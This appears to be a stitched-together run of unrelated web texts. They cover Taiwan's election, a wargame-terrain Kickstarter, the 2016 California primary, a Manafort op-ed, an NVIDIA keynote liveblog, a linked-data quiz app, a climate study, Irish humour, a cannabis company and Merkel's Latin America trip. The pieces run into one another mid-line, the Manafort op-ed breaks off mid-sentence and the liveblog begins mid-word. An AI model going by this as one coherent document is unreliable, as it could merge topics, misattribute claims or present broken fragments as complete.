Since Saturday’s landslide win by Tsai Ing-wen and her Democratic Progressive Party in Taiwan’s presidential and parliamentary elections, China has warned against any moves towards independence and said it will defend the country’s sovereignty.
The United States has expressed concerns about the danger of worsening China-Taiwan ties, at a time when China’s navy is increasingly flexing its muscles in the South China and East China Seas and expanding territorial claims.
U.S. Deputy Secretary of State Antony Blinken met the mainland’s Taiwan Affairs Office Minister, Zhang Zhijun, in Beijing on Thursday and “reiterated the United States’ abiding interest in continued cross-Strait peace and stability”, the State Department said in an email.
Taiwan’s military has warned that China has practised attacks on targets modelled on places in Taiwan. Taiwan also estimates China aims hundreds of missiles at the island.What is Terminus Segments all about?
Terminus Segments is Micro Art Studio's approach to create something new, creative and affordable in the world of Corvus Belli's Infinity. It is something more than a modular playmat; it is a complete line of HDF, resin and hardfoam terrain created with playability and affordability in mind. We worked for months to rethink and redesign our current line of ''Designed for Infinity'' products and came up with results we are really happy about.
The goal of this Kickstarter
The goal of this campaign is to fund the first "designed for Infinity" modular mat system on the market. Although playmats have become very popular among wargamers lately, they have some issues that are hard to overcome – the printed design rarely allows for a significant amount of scenery combinations and the roads printed on them are usually huge open areas of the battlefield. We tried to address this issues in an extensive way. A 48''x48'' battlefield, which is a standard for Infinity, can be created using 16 tiles that can be set in a vast number of combinations. HDF and printed acrylic buses, as well as hardfoam vans, act as large and elegant scatter terrain that not only allows you to close those long fire lanes, but is also cheaper than resin product. Hardfoam Tech Crates, new District5 Catwalks and mk2 Lightboards are new versions of our popular products that we felt like improving – either on the side of affordability or playability. We wanted to improve our scenery lines to fit all the needs that Infinity players reported to us – and Kickstarter enables us to do it in much shorter time.
The organization of this Kickstarter
This Kickstarter is organized a little bit different than others. We do not offer you separate terrain features. We offer you complete solutions – bundles of scenery that fits together thematically. This way you do not have to worry about how to compose terrain together or how many pieces and of which design would work for a playable and beautiful battlefield. You can just pick bundles that you like the most and have complete modules to build your battlefield with. Each module brings a specific theme to your table and can be mixed with others easilly. But there is also another huge benefit that comes from this kind of offer – products can be produced and packed a lot quicker. This way we can sell it to you cheaper and ship it faster. This is one thing that we learned from our previous Kickstarter campaign: mixing and matching prolongs the time of production and makes the products more expensive.
Please keep in mind that all the products on this Kickstarter come unpainted and unassembled. Miniatures by Corvus Belli are not included and used only for scale. All the flower beds come with no plants, but you can buy them easily in pet stores and garden centres. Music in the video: ''Timen Passing By'' by Jason Shaw from the Free Music Archive CC BY 3.0 US.
Shipping rates
Keep in mind that pledge values do not include shipping costs. They will have to be added in the pledge manager after the campaign is finished. Estimated shipping costs will be as follows: Terminus Segments Communal Bundle: 30$ Europe, 60$ rest of the world; Terminus Segments Basic Bundle: 20$ Europe, 40$ rest of the world; Terminus Segments Mat: 15$ Europe, 25$ rest of the world; Terminus Segments All in One Mat Set: 20$ Europe 40$ rest of the world. Add-ons add 5$ shipping costs each.
Keep in mind that your shipping will never be more expenive than 60$, no matter what you choose or what your location is. All packages will be tracked and we take full responsibility for their delivery.
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Anatomy of our buildingsVermont Sen. Bernie Sanders’ enthusiastic legion of young, independent and progressive supporters turned out to be way better at jamming rallies and concerts than they were at actually voting.
While hordes of Californians were eager to “feel the Bern” at more than 30 high-energy — and even higher-visibility — events across the state over the past couple weeks, former Secretary of State Hillary Clinton steamrolled Sanders in a surprisingly easy double-digit victory in the state’s Democratic presidential primary Tuesday.
That margin likely will shrink when the well over 1 million still uncounted California votes are tallied, but the final result will be nothing like the tight, “flip-a-coin” result many pollsters had predicted.
“The young (voters), the poor ones and those with no party preference were Bernie’s key supporters... and they didn’t show up,” said Paul Mitchell, vice president of Political Data Inc., who studied more than 21,000 voters who had mailed in their ballots. Those who did turn out were older, wealthier and more likely to be registered Democrats — exactly the voters Clinton was targeting.
What was most surprising is that while 25 percent of California’s record surge of more than 2 million new registrations was made up of voters aged 35 years and under, they made up only 10 percent of those who had mailed their ballots back by the Monday before election day.
‘So why not vote?’
“These are people who had just registered, so why not vote?” Mitchell asked.
The complicated process independent voters had to go through to cast a ballot in the Democratic primary also did Sanders no favors. While independents could vote for Clinton or Sanders, they had to ask specifically for a Democratic ballot. No request, no ballot.
That was especially bad news for the many no-party-preference voters who cast their ballots by mail. Only about 15 percent of them asked for the Democrat ballot, which meant they were likely shut out in the presidential voting.
The extra effort needed “likely frustrated a lot of (independent) voters” who might otherwise have voted for Sanders, Mitchell said.
The polls last week showing Clinton’s shrinking lead also played a major role in the final numbers. After a series of surveys showed the California race had become a toss-up, Clinton scrapped plans to spend more time campaigning in New Jersey and flew to California for the final days before the primary.
Clinton “has a long history in California and really wanted to win the state,” said Buffy Wicks, the Clinton campaign’s state director. California was also the last state primary, and a Clinton win in the nation’s biggest state would make it hard for Sanders to argue that he was the “people’s choice” in the Democratic race.
Clintons blitzed state
Clinton and her husband, former President Bill Clinton, “did 43 events in the last five days,” Wicks said. “They were crisscrossing the state and showing people we were fighting for every vote.”
But Sanders was also campaigning at a frenetic pace, hitting cities large and small in a two-week-long schedule that finished Monday with a concert and rally that drew an estimated 10,000 people to the Presidio’s Crissy Field.
While Sanders looked like the candidate with the momentum, Clinton’s team was working behind the scenes to get their people to the polls. Drawing on their experience from 2008, when Clinton used a late run to beat Barack Obama in California’s presidential primary, Clinton’s supporters ran multilingual phone banks, cajoling likely voters to cast their ballots.
“We told people to take that ballot off the kitchen cabinet, fill it out and put it in the mail,” Wicks said.
The result was seen on election night. Clinton broke on top when the first mail ballots were reported soon after 8 p.m. and never gave up the lead.
“Clinton jumped to a huge lead, larger than expected, in the first mail results,” said Mark DiCamillo, director of the Field Poll, which last week showed the former New York senator with a 45 percent to 43 percent lead over Sanders.
The mail ballot margin was about 400,000 votes, which held through much of the night.
“Clinton and Sanders virtually split the votes at the polls on election day,” DiCamillo said. But the Clinton team “is very good at corralling votes, at getting their votes in the bank early.”
The tide began to turn last weekend, Wicks said.
“We felt a huge surge in momentum,” she said. “We had 22 percent more volunteers than we scheduled show up for our phone push. We had 5,500 volunteers make 2.2 million calls in the last few days.”
Backers not discouraged
Clinton’s win didn’t discourage Sanders or his backers.
At a Sanders event in San Francisco Tuesday, Fred Werner, 43, wore a Bernie yarmulke as he spoke glowingly of the senator’s decidedly non-concession speech.
“Bernie Sanders himself has always said — he even said it in his speech — this is not about Bernie,” Werner said. “The key thing is keeping this movement mobilized to actually change the way politics are happening in America.... He is saying we’re not giving up, we’re fighting on.”
But while Sanders has vowed to continue his battle until the Democratic National Convention in July, he has reportedly laid off half his campaign staff and has returned to his home in Vermont to consider his options. He has a meeting scheduled with President Obama Thursday, where they will likely talk of the future of his campaign.
Chronicle staff writer Jenna Lyons contributed to this story.
John Wildermuth is a San Francisco Chronicle staff writer. Email: jwildermuth@sfchronicle.com Twitter: jfwildermuthComment: The ex-Trump surrogate is finding refuge from the FBI investigation while lining his pockets and helping his old Russian friends as a lobbyist in Erbil, writes Sam Fouad.
On September 25, Iraqi Kurds went to the polls in a referendum for independence from Iraq's central government in Baghdad.
The vote for Kurdish independence was the focus of widespread international condemnation and warnings of retaliation not just from Baghdad, Damascus, Ankara, and Tehran, but also the United States and United Nations.
Turkish President Recep Tayyip Erdogan said his army stood on the Iraqi-Turkish border ready to do "whatever it takes" to make sure Erbil does not break away from Baghdad.
Because of large Kurdish populations in Turkey, Syria and Iran, fears that the referendum could spark uprisings within those nations is the main reason behind opposition in Ankara, Damascus and Tehran.
Furthermore, opposition from the United Nations and the United States, among other Western nations, stems from the thinking that rising aspirations for Kurdisah independence would hinder the fight against the Islamic State group, fanning sectarian and nationalist flames between nations and between Kurdish and Arab populations.
UN Secretary-General Antonio Guterres stated the referendum had "potentially destabilising effects" but expected the sovereignty, territorial integrity and unity of Iraq to remain intact.
The United States further elaborated, stating it "strongly opposes the Iraqi Kurdistan Regional Government's [KRG] referendum" and that it "urges Iraqi Kurdish leaders to accept the alternative, which is a serious and sustained dialogue with the central government".
While most of the world's governments, aside from Israel's, is firmly against Kurdish independence, one defining factor in the referendum campaign has been the role of foreign consultants.
One such professional lobbyist who has been embroiled in the Kurdish referendum is none other than Paul Manafort, the former chairman of the campaign to elect Donald Trump as president of the United States.
He is also understood to be the focus of an FBI investigation.
As a lobbyist, Manafort has not let ethical, political, or financial conflicts of interest stand in the way of making money
Although not much is known about Manafort's official role in Kurdistan, it is being reported that he is most likely in Erbil right now, in order to help pay his rising legal fees, and as a good excuse to be a long way from the United States and its press pool at a time when Robert Mueller's investigation places him at the centre of the storm.
Manafort's past clients have paid him millions of dollars and include leaders and business tycoons in Ukraine, Russia, the Philippines, and the Democratic Republic of the Congo. As a lobbyist, Manafort has not let ethical, political, or financial conflicts of interest stand in the way of making money.
His past dealings have been riddled with legal and ethical dilemmas, including his work in Ukraine and Russia, which is the main reason he's under investigation today.
Manafort's past work with figures algned with Russian President Vladimir Putin may help explain why he signed on to help with the KRG's referendum in Erbil. The conjunction of Manafort's increasing legal and financial troubles and Ankara and Baghdad threatening to cut off Erbil's oil exports as economic retaliation for the non-binding vote create the perfect opportunity for a man with Manafort's career and expertise.
Having already bypassed Baghdad in 2014 and creating an oil route straight into Ankara, Erbil may be losing one of its main exporters of oil in Turkey if Erdogan decides to act upon his threats.
Rosneft, a major Russian oil company, is increasing its investments in Kurdish gas and oil by agreeing to fund a natural gas pipeline in Kurdistan, reaching a deal with the KRG worth more than $1 billion. The volumes of gas that would be funnelled through this agreement would represent six percent of total European gas demand and 1/6th of Russia's current gas export volumes, making Rosneft the largest supplier of gas to Europe.
Manafort, seen here at the 2016 Republican National
Convention between Donald and Ivanka Trump,
is under FBI investigation for his connections to Moscow
[Getty]
The pipeline would be ready for Kurdish domestic use in 2019 and international exports would begin in 2020.
Kurdistan has some of the largest untapped gas and oil reserves in the world, estimated at 5.66 trillion cubic meters, and 45 billion barrels respectively.
Rosneft, led by |
ing using it for both GPU-to-CPU and GPU-to-GPU communication
12:18PM EDT - Already discussing multiple generations. It sounds like they're looking at modifying PCI-Express to their needs
12:17PM EDT - Introducing NVLink. A chip to chip communication bus. Differential bus
12:17PM EDT - First announcement
12:16PM EDT - PCI-Express is only 16GB/sec, versus 288GB/sec for local GPU memory. A factor 18
12:16PM EDT - Referencing a paper that points out the various bottlenecks, including a lack of GPU-to-GPU bandwidth
12:15PM EDT - Now discussing bandwidth. FLOPs per byte
12:14PM EDT - Jen-Hsun says he'll be focusing on big data, cloud computing, and computer vision
12:12PM EDT - Largeet GTC ever (again). Nearly 600 talks scheduled
12:11PM EDT - Discussing GPU/CPU synergy, how they specialize at different types of work, and how CUDA ties them together
12:10PM EDT - Jen-Hsun is welcme the crowd and reiterating how Tesla and CUDA was the reason this conference was created in the first place
12:09PM EDT - Jen-Hsun is now on stage
12:07PM EDT - NVIDIA is starting with a promo reel of various devices and technologies powered by their products
12:06PM EDT - And here we go
12:05PM EDT - As a reminder, Maxwell's marquee feature is to be unified virtual memory, though we'd expect there to be additional features that have yet to be disclosed
12:03PM EDT - So Big Maxwell (aka Second Generation Maxwell) may make an appearance, to prep developers for Maxwell based Teslas
12:01PM EDT - Of course the big question is what we'll see of Maxwell this year. In 2012 NVIDIA released a ton of details on Big Kepler (GK110), despite the fact that it wouldn't ship to buyers until the end of the year
12:00PM EDT - Jen-Hsun will likely be grilled on the state of NVIDIA's SoC business. Tegra 4 has barely made a splash, and Tegra 4i (A9 + baseband) was famously pushed back last year to get Tegra 4 to market sooner
11:58AM EDT - For NVIDIA CEO Jen-Hsun Huang this will be a very tense day. Shortly after delivering the company's annual keynote, he will get to go face investors for NVIDIA's annual investor meeting and update
11:57AM EDT - Expect status updates on all of NVIDIA's core businesses, especially Quadro/GRID and Tesla. There may be some consumer news too, but NV has already shown off their SoC plans at CES 2014, and GTC isn't normally big on consumer dGPU news
11:56AM EDT - Now as for today's keynote, it's scheduled to run for 2 hours, so there will be no shortage of material to talk about
11:55AM EDT - NVscene was last held in 2008, before NVIDIA had formed the more permanent GPU Tech Conference. It may end up being the biggest scene party in North America this year
11:54AM EDT - http://nv.scene.org/
11:54AM EDT - Also taking place this year is NVscene, NVIDIA's sponsored scene party, competition, and educational sessions
11:53AM EDT - And it looks like NVIDIA may just fill most of those spaces, judging by the map
11:52AM EDT - This year the San Jose Convention Center has finally finished renovations. So not only is there no pesky construction equipment in the way, but there's more room than ever for events
11:48AM EDT - Ryan is on text today, Anand is on image duty, we're seated and ready to goMotivation
We are increasingly dealing with Linked Data, witnessing how Internet is turning into a Web of Data, a huge DataBase with very different sets of data linked together and available online. We thought we could use this information not only to find answers, but also to automatically generate questions… for a quiz that could be played.
The opportunity
Even though we had the quiz-using-linked-data idea some time ago, the 10K Apart contest (challenge: build a web app in less than 10 kilobytes) was a good opportunity to showcase the power of having so much information available, building something with millions of questions by just writing a few lines of code…
The contest is full of great html5 demos, so we wouldn’t expect our app being a winner. Anyway, feel free to support our entry by giving us a vote! 🙂
Here’s a screenshot of our app:
The topic
In order to submit the app to the contest (and also to fit everything in 10K), we had to focus. And yes, there would be many interesting questions to be generated thanks to information made available from open governments… but we thought that asking questions about cinema would be a much better option for a light quiz. Plus, we had the chance of using the Linked Movie DataBase, which has information about tens of thousands of movies and actors… Plenty of cinema questions could be generated with that!
We decided to let the user choose an actor or actress, and generate a quiz with questions about the movies where he or she has appeared.
What kind of questions are generated? Some of them are pretty straightforward to create: For example, the director and release date of a particular film are easily related to the actor (See image on the right). Then it’s only a matter of giving other dates as options, or other directors of movies where the actor or actress has acted.
For other questions, there are more relations involved. For instance, the application asks which character did the actor or actress play in a particular movie (“performance 1” in the following image), giving as other options another character in the same movie, played by another actor (“performance 2”), another character played by the same person but in another movie (“performance 3”), and another character played by a different person in a different movie (“performance 4”).
The next two images depict a question of this kind generated by the application about Marlon Brando, before answering, and after a successful response:
The development
The LMDB exposes the data through a SPARQL endpoint, which was very convenient for our purposes. With just a few queries, the application is able to retrieve the information needed to generate a quite decent set of questions. The following lines illustrate a query used to retrieve information about all the movies an actor or actress has appeared in (the title, the name of the character played, the name of the director, and the links to the IMDB and Freebase websites, if available).
PREFIX movie:<http://data.linkedmdb.org/resource/movie/>
PREFIX rdfs:<http://www.w3.org/2000/01/rdf-schema#>
PREFIX foaf:<http://xmlns.com/foaf/0.1/>
PREFIX dc:<http://purl.org/dc/terms/>
SELECT DISTINCT?title?char?dirName?date?imdb?fb WHERE {
?film movie:actor <**actorUri**>;
rdfs:label?title.
OPTIONAL {?film movie:director?dir.?dir movie:director_name?dirName }
OPTIONAL {?film dc:date?date.}
OPTIONAL {?film foaf:page?imdb.
FILTER regex(str(?imdb), "^http://www.imdb.com/title", "i" )}
OPTIONAL {?film foaf:page?fb.
FILTER regex(str(?fb), "^http://www.freebase.com", "i" )}
OPTIONAL {
<**actorUri**> movie:performance?perf.
?film movie:performance?perf.
?perf movie:performance_character?char.
}
}
Importantly enough, the 10K contest implied other limitations in addition to the code size: As client-side code is being used, it was kind of tricky to grab the information directly from the browser. Luckily, using jQuery in combination with YQL we could sort out this issue, also benefiting from its caching advantages, as we are particularly worried about knocking the LMDB down.
Of course, we are aware there are bugs (known issues with IE6 and IE7), and we are aware that sometimes there are problems accessing the data; let’s see how it goes once this is publicly available… Also, some of the answers might not be accurate (sometimes we’ll be responsible; sometimes we will just say it’s the data;) Anyway, do not blame us if you feel some answers are not well evaluated. (Disclaimer: We are not responsible if you get involved in some kind of underground bet involving money!:)
And do not hesitate to contact us with questions and comments. (We’ll try to upload the unminified code somewhere soon too.)
Acknowledgements
We would like to thank Oktie Hassanzadeh and the LMDB team for being supportive. Plus, in extension, thanks to the whole Linked (Open) Data crowd.
Additionally, we are grateful to the YDN and its YQL. In particular, Christian Heilmann (@codepo8) has lately been an inspiration in terms of how to easily build a webapp with external content.
Our cousin Pablo is responsible for many cosmetic changes in the webapp. We’re really glad about this yet-another-collaboration with him. 🙂
Finally, María Rodri and María Ipa, and our colleagues at iSOCO and Buongiorno are to thank for their valuable feedback and support.
…
Happy quiz!Retired Nasa scientist James Hansen who first rang the climate alarm bell in 1988, is now back with a study that points to major sea level rise in the next 50 years owing to speeding up of glacier melt.
In what Hansen says is his most important paper on climate change, he claims glaciers in Greenland and Antarctica will melt 10 times faster than previous consensus estimates, resulting in sea level rise of at least 10 feet in as little as 50 years.
Referring to a feedback loop in the ocean near Antarctica that results in cooler freshwater from melting glaciers forcing warmer, saltier water underneath the ice sheets, speeding up the melting rate, Hansen says his study implies change far beyond previous consensus estimates given by the IPCC and others.
Now with Columbia University's Earth Institute, Hansen has published with 16 other researchers, the new study that talks of alarming sea-level rise and intense storm systems. The study is expected to generate much controversy, as it challenges the UN Intergovernmental Panel on Climate Change (IPCC) findings published in its latest assessment of the state of climate science, published in 2013.
Hansen and his colleagues suggest that the time for ice loss from West Antarctica to double is as short as 10 years, indicating a nonlinear process that could trigger major sea level rise in 50-200 years.
The IPCC assumed more of a linear process that suggests only about one meter of sea-level rise, at most, by 2100.
The 2 degrees Celsius global warming is "highly dangerous", they warn.
The paper, entitled "Ice melt, sea level rise and superstorms: evidence from paleoclimate data, climate modelling, and modern observations that 2 ◦C global warming is highly dangerous" appeared online in Atmospheric Chemistry and Physics Discussion, an open-access journal published by the European Geosciences Union where peer review process follows publishing.
The paper suggests that major ice loss from both Antarctica and Greenland will change the circulation of the oceans with warm waters trapped below cold surface layers, increase the temperature difference between latitudes and lead to storms.
Michael Mann, a climate researcher at Penn State University who reviewed the paper, told Star Tribune that "their case is most compelling when it comes to the matter of West Antarctic ice sheet collapse and the substantial sea level rise that would result".
Kevin Trenberth of the National Center for Atmospheric Research strongly criticised the study, saying that "there are way too many assumptions and extrapolations for anything here to be taken seriously other than to promote further studies".
However, there are many who believe the IPCC estimates are far too conservative. Greg Holland, a climate and hurricane researcher at the National Center for Atmospheric Research, who has also reviewed the Hansen study, believes the truth lies "somewhere between IPCC and Jim".
The melt rate of glaciers in west Antarctica has tripled in the last decade. The glaciers lost water equivalent to Mt Everest's-worth every two years over the last 21 years, said an UCI Nasa study using four measurement techniques.
Small glaciers on the Antarctic land are very sensitive to temperature increases and could disappear in 200 years, said a Royal Holloway study.
The second largest body of ice on Earth, the Greenland ice sheet shed about 243 gigatonnes of ice per year from 2003-09, said a Buffalo study using satellite data for the period.
Climate change has seen some fierce debates in recent times with many nay-sayers shown to be funded by the oil industry.
Mysterious deaths
Interestingly, a Cambridge professor has raised suspicion of foul play in the deaths of three climate scientists in 2013.
The physicist Peter Wadhams told media he suspected the trio were assassinated probably by the oil lobby for their studies that pointed to fast rates of ice melt.
He also said in the following weeks he himself almost died from an accident in which a lorry tried to force him off the road.
Wadhams has been among scientists presenting extreme ice melts from global warming. A recent study noted that the total volume of Arctic ice had increased by 40% in 2013. But Wadhams claims that the Arctic could be without ice by the end of this summer.She’s suspicious of charity packers in supermarkets, is afraid of the ‘damp step’, and has an on-off relationship with her mobile phone. Comedian COLM O'REGANidentifies some of the key characteristics of The Irish Mammy
ANTI-COLD MEASURES
There is nothing better in the human experience than a child’s path through life as they explore the world around them. Irish Mammy’s job is to ensure they don’t get a cough or a cold while doing so. Ireland’s location makes this a constant job – and Science is not on Mammy’s side: Ireland is sitting in an awful draught.
There are two main ways in which colds are contracted. The draughts are the most pernicious, chiefly because this is the reason most Irish Mammies themselves catch a cold. The draught occurs most often while they are at a gathering or a group occasion where they have no choice about where they are sitting. There is the dark suspicion that Mammy’s anti-cold measures have been breached by the perfidy of a male.
The second type of cold-transmission is inexcusable: Self-inflicted Due to a Lack of Sense.
It is the cold contracted by a child aged between zero and forty-two years of age.
It is inexcusable, because the child may have done that which they were expressly warned against – discarding a coat too early in the year or sitting on a damp step.
Although there is no medical evidence that sitting on a damp step causes a cold in your kidneys, nor any official medical pathology that indicates there is even such a thing as a cold in your kidneys, it’s hard to gainsay the advice of generations of Irish Mammies.
Top reminiscible diseases and ‘health events’
* Will I ever forget that winter? All three of ye had croup. Can you imagine that? Three small girls under the age of five. And what’s more, your father in bed with a cold.
* Do you remember when you had whooping cough? I was up and down that stairs with the kettle.
* We were all set to go. Next thing the phone rings. It’s the school. “We think Deirdre has chicken pox,” they said. And that was the end of Malaga.
* I can’t get over how much sleep you need now, when you wouldn’t sleep for me until you were about two.
* I don’t know what you were doing but didn’t you swallow the crayon. And Dr Phelan was as cool about it. “Don’t be worrying,” says he. “That’ll pass naturally.”
THE WEEKLY SHOP
She’s making a list; she’s checking it twice. She’s going to find out who’s home for the weekend and whether she needs an extra sliced pan or not. Irish Mammy is preparing for the weekly shop. Now she just has to find her bags-for-life and she is ready to go.
Once at the shops, Mammy faces obstacles that are perfectly surmountable but annoying nonetheless.
“Why do they keep moving everything around? Aren’t they very cute now?”
At the checkouts, Mammy flinches as she sees someone packing bags for charity. Yes, of course, the smiling children in outsized T-shirts are a credit to their parents and their school, but Mammy would much rather pack the bags herself.
“Where had they put the sliced ham? Only in with the raw chicken. Of course I said nothing – just gave them the few bob.”
SENSIBLE STUFF
The following are felt to be sensible by Irish Mammies:
* Most newsreaders, except those appearing too much on “giddy” programmes.
* Most weather forecasters, except those appearing too much on “giddy” programmes.
* Pat Kenny, especially after he stopped doing The Late Late Show. “I always thought it didn’t suit him.”
* Miriam O’Callaghan, “And she with eight children, ’magine.”
* Mary Kennedy – “Ah, Mary is grand.”
MAKING SANDWICHES
To truly appreciate Mammies in action, one needs to go to a function. When a group of Mammies converge en masse at a do in the hall, armed with sandwiches, buns and tea, it is a sight to behold.
This is tea-making on an industrial scale, and the conversation is even further compressed.
Jesus’s carry-on with the loaves and fishes in the Bible makes no mention of the real miracle: how all that food was distributed to the hungry thousands. There must have been Irish Mammies in the supply chain.
Irish Mammy:
What’ll you have, Mrs Zechariah? Fish. And you’ll have a loaf? Oh, the Lord save us, I completely forgot, Mrs Zechariah, shur you’re a coeliac. I’m sorry. Did you ever see such a crowd, Mary? No preparation at all of course, and they expecting the likes of you and me to work miracles here. Only for Sarah Hartigan bringing the baskets for the scraps. We’d be lost only for her. Says she, “I thought I was mad bringing these, and we only have two loaves and five fish, but I says, I might as well.” What about yourself, Johnny? Loaf. Right you are, Johnny. Butter and marmalade over there.
Jesus (wandering over, looking pleased with himself):
Ye’re doing great work here altogether, Bridget, The back-room team. Hah?
Irish Mammy:
Oh sure, you know yourself.The show must go on.
EVERYONE’S BROWN BREAD IS DIFFERENT, BUT HERE’S HOW I DO IT
I use two pounds of brown flour – Howards extra coarse if I can get it – to one pound of Odlums white flour. I put in a heaped tea-spoon – not too much heaped now, mind – of bread soda and I like to put a couple of eggs in. But you can have very nice brown bread without eggs. And then I keep on pouring in the milk. I use new milk but you can use buttermilk if you want. I put a pinch of salt in it too. Then I mix it around with the spoon. My mother never used a spoon. She never measured anything. As a matter of fact it was my mother taught me how to make it. The year before I got married, she says to me: “You can’t get married without knowing how to make brown bread!” So she taught me and by degrees I got it.
Anyway I mix it until I’ve a fairly stiff mixture. Then I put a bit of greasepaper under it. Put it into a medium-hot oven and then I kind of forget about it for a while and just turn it from time to time. It just comes from experience.
NEIGHBOURHOOD WATCH
You can tell when there are lots of Mammies in the area. The community has a different feel. The Irish Mammies are like the eggs in the brown bread, subtly giving the area a softer texture and holding it more tightly together. They are to be seen bustling around with half the under-14s in the back of a people carrier on the way to a League semi-final against a hated rival district; they are Walking the Road, arms swinging, clad in fleeces; they are stopped in conversation, asking for the latest news on ailments, spouses and children; they are leaning on the gate, waylaying passing walkers by putting talk on them.
List of useful things to say to facilitate continuity in conversation
* So that’s the way.
* Wait till I see if I’ve any more news.
* Go wan!
* Go way!
* Isn’t that a good one?
* So that was grand.*
* Oh, I know, shur.
* Sure, who are you telling?
* Ah, that’s more of it now.
* And where are they now?
* “So that was grand” is an extremely useful conjunction to allow a longer form of narrative to proceed from one stage to another. It does not imply that “that” actually was “grand”. In fact, taken in isolation, “that” can be anything but grand, but compared to what’s about to come next in the plot, “that” is relatively benign. It also signals to the listener that “that” is not the main point of the story.
For example: “He told me: Three thousand euro to replace the carpets... But anyway so that was grand. Then he starts telling me how much it’s going to cost to fix the walls.”
UPWARDLY MOBILE
Of all the small, fiddly yokes to be invented in the 20th century, the mobile phone has surely come closest to 100 per cent Mammy market penetration.
Watch an Irish Mammy, for whom time and toil has taken its toll on limbs, suddenly leap vertically like an impala up from the chair at the merest electronic sound, even if it’s just the low-battery warning on someone else’s phone.
For those Irish Mammies who don’t know how to find out where the missed call originated, they will drop everything to find out who it was.
Taken from Isn’t it well for ye? The Book of Irish Mammies, by Colm O’Regan, published by Transworld IrelandLove it or loathe it, marijuana as medicine is not a trend likely to disappear soon. Its use – and sale – is not going unnoticed by the legitimate business world.
Michigan-based nutritional supplement company, Creative Edge Nutrition, is on course to becoming the first U.S. company to be allowed to distribute medicinal marijuana in Canada, says CEO Bill Chaaban. In November the company was notified by Canada’s federal health department, Health Canada, that it has been issued a'ready to build' letter for a facility* to grow, distribute, import and export medicinal marijuana and plant seeds through its Canadian subsidiary CEN Biotech. Once finished, Health Canada will inspect the site and decide whether to issue a permit to begin operation.
Creative Edge, which sells health supplements and trades for fractions of a penny on OTC Markets, reported less than $2 million in the first half of 2013 but Chaaban – an attorney licensed to practice in both the U.S. and Canada – says this latest play could catapult the company’s earnings into the stratosphere. “By the end of year five we’ll be doing $100 million in sales, with a margin of 80 percent.”
Currently, for medicinal users in Canada, marijuana costs between $5 and $6 CAD per gram (that’s between $4.70 and $5.60 in U.S. dollars). CEN Biotech’s cost to produce runs between 80 cents and $1 CAD per gram. Chaaban predicts the operation will be up and running and ready to begin shipping within seven months.
CEN Biotech’s new 58,000 square foot facility – still under construction in Lakeshore, Ontario, across the Detroit River from Michigan – has cost the company about $16 million CAD. Chaaban claims capital was raised from a pool of, ahem,'seed' investors that includes companies that deal in alcohol and tobacco, entertainment industry players and professional sports figures. He would not provide specific names. Chaaban estimates that he owns roughly 4% of the company.
The level of oversight mandated by Health Canada has demanded CEN Biotech design their new facility like a high security penitentiary, says Chaaban, including night vision cameras, laser sensors, 24-hour security staff and tagging technology that will allow the organization to monitor the movement of every single plant. “There will be RF-ID (radio frequency ID) tags on every single seed.”
Also, no purchase of product by registered patients can be conducted in cash and CEN Biotech’s leadership team – made up of four lawyers, two doctors of pharmacy, two former law enforcement officers, an agricultural engineer and an executive of a drug company – has been vetted by the Royal Canadian Mounted Police.
Cannabis is used to treat the effects of glaucoma, Crohn’s disease, multiple sclerosis, nerve pain and chemotherapy, among other ailments. Health Canada had previously allowed individuals to apply for licenses to produce marijuana for medicinal use but increases in fire hazards, home invasions and crime have led the organization to push for a more regulated co-op system that requires fire and police approval, tracking and taxation, says Chaaban. Also, with so many producers, the organization had a hard time overseeing quality. “Too many people were applying to grow their own.”
Health Canada predicts that there will be half a million medicinal users in Canada within ten years but Chaaban feels that with the ease of access and assurance of consistency, that figure could be reached in two.
Not that Canada is CEN Biotech’s only market—the company’s 24 strains of plants could be exported to sources in Uruguay, Israel, The Netherlands, Mexico, Colombia, Iran and North Korea, said Chaaban. (update: Canada has trade restrictions in place for Iran and North Korea). Seeds from prime sources can be imported for use in the production facility.
As far as the United States market is concerned, Chaaban is betting that as more states adopt laws embracing medicinal marijuana, state governments will look for taxable product sources they feel have trustworthy tracking procedures and he wants CEN Biotech to be among them. “Once the feds come on board we’ll definitely enter the U.S. market.”
Chaaban's confidence that the U.S. will come around to enacting more lax cannabis legislation is not unfounded. Most recently, Colorado residents are able to purchase marijuana thanks to a law allowing the sale (no prescription required) and regulated production of marijuana which went into effect this week. At present, the state has 24 open shops selling the product with hundreds of pending applications from entrepreneurs interested in providing some service in the new industr.,
Other publicly traded firms work in the medicinal marijuana space, including Cannabis Science, Inc.; Endocan Corporation; GW Pharmaceuticals and Medical Marijuana, Inc. Should medical marijuana continue to be embraced by states and federal governments, more players are likely to enter the market as growers, distributors and investors.
*Correction: The company has been issued permission to build its cannabis facility. Upon completion it will be inspected by Health Canada for a permit to begin operation. An earlier version of this post stated the company had already been approved to begin operation.
Follow me on Twitter @KarstenStraussThere are questions that simply won't go away. The one following Angela Merkel around her two-stop visit to Latin America is whether she is seeking a global leadership role, now that the United States seems to be pulling up the drawbridge to the rest of the world. The short answer is no. The intent is nowhere to be seen. Instead the chancellor keeps stressing her G20 preparation mission to dispel the appearance of any kind of anti-Trump alliance.
The G7 meeting in Sicily last month highlighted that a dynamic of six-against-the-one world power, the US, only deepens rifts in the West. With the G20 Summit hosted by the German chancellor coming up in July, any kind of 19-against-one scenario between US President Donald Trump and the rest of the world's largest economies would become the German chancellor's mess to clean up. Or worse: it could be seen as a mess made in part by her poor leadership.
Now the real question: Will the vacuum created by Trump in Latin America - and, more worryingly, the rest of the world - allow Angela Merkel to escape the role of "leader by default?" Again, the short answer is no. Her trip to Argentina and Mexico keeps providing evidence of that.
Opinion: The Merkel model - why pragamatic chancellor doesn't seek to trump Trump
Lots of deals, but one major trade partner
In Mexico, her second and final stop after Argentina, the German chancellor meets President Enrique Pena Nieto, who runs the country with the most free trade agreements in the world. And yet, with 80 percent of exports going to its mighty neighbor to the north, Mexico lives on a tight economic leash firmly held by the US. Throw in the threat of the border wall and one gets a pretty good picture of the daily pain Pena Nieto faces in trying to fend off the rise of left-wing populism in Mexico. It translates into potential political dynamite at home that could see his PRI party ousted from power in next year's elections. Mexico's populism feeds on anti-American sentiment, which has unsurprisingly gone through the roof since Donald Trump came to power.
No doubt Mexico will take any reassurances Chancellor Merkel has to offer. Traveling with her is a powerful business delegation potentially worth billions in fresh investment. President Pena Nieto will also want to make headway in securing an update of the EU-Mexico free trade agreement as soon as possible, as the US presses ahead and forces a renegotiation of NAFTA, the trade pact connecting Mexico, the US and Canada.
